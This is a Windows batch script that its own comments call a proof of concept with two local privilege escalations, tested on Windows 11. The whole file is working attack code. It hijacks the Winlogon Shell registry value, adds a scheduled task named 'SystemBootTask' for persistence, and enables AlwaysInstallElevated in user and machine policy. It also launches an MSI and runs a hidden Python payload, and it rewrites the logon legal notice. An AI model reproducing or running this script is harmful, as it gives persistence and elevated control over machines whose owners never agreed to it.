@echo off
setlocal
set "D=%LOCALAPPDATA%\ShellHook"&set "I=%D%\install.bat"&set "K=HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f>nul
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f>nul
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f>nul
if /i "%~1"=="/uninstall" exit
if not exist "%D%" mkdir "%D%"
copy /y "%~f0" "%I%" >nul
if exist "%~dp0payload.py" copy /y "%~dp0payload.py" "%D%\payload.py" >nul
reg add "%K%" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul
if /i not "%~f0"=="%I%" (start "" "%I%" & exit)
schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1
start "" explorer.exe
start "" install.msi
where pythonw.exe >nul 2>&1 && start "" pythonw.exe "%D%\payload.py" || start "" python.exe "%D%\payload.py"
net session >nul 2>&1 && (
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f >nul
) || schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1
rem there are two LPE in this PoC.
rem might not work OoB on all devices.
rem tested each on fresh win 11 install.